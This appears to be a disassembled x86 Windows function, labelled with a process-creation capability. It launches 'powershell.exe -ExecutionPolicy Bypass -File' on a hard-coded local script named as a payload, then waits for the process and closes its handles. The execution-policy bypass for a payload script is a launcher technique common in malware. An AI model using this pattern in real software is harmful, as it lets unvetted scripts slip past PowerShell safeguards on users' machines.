Function at 0x401460
Capabilities:
Create process on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ebx
push ecx
sub esp, 0xec
call sym.___main
mov dword [ebp - 0x1c], str.E:PayloadBase_payloadexecute.ps1
lea eax, [ebp - 0x1d]
mov ecx, eax
call fcn.00401724
lea eax, [ebp - 0x38]
lea edx, [ebp - 0x1d]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x50]
lea edx, [ebp - 0x38]
mov dword [esp + 8], edx
mov dword [esp + 4], str.powershell.exe__ExecutionPolicy_Bypass__File__
mov dword [esp], eax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(char const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&)
lea eax, [ebp - 0x68]
mov dword [esp + 8], 0x4050bb
lea edx, [ebp - 0x50]
mov dword [esp + 4], edx
mov dword [esp], eax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea eax, [ebp - 0x50]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x38]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x1d]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea edx, [ebp - 0xac]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0xac], 0x44
lea eax, [ebp - 0x68]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov edx, eax
lea eax, [ebp - 0xbc]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0xac]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], edx
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
setne al
test al, al
je 0x4015bf
mov eax, dword [ebp - 0xbc]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xbc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0xb8]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x4015f8
call sym._GetLastError_0
mov ebx, eax
mov dword [esp + 4], str.Error_creating_process:
mov dword [esp], sym.imp.libstdc_6.dll_std::cerr
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], ebx
mov ecx, eax
call sym.std::ostream::operator___unsigned_long_
sub esp, 4
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
mov ebx, 0
lea eax, [ebp - 0x68]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x401653
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop edi
pop ebp
lea esp, [ecx - 4]
ret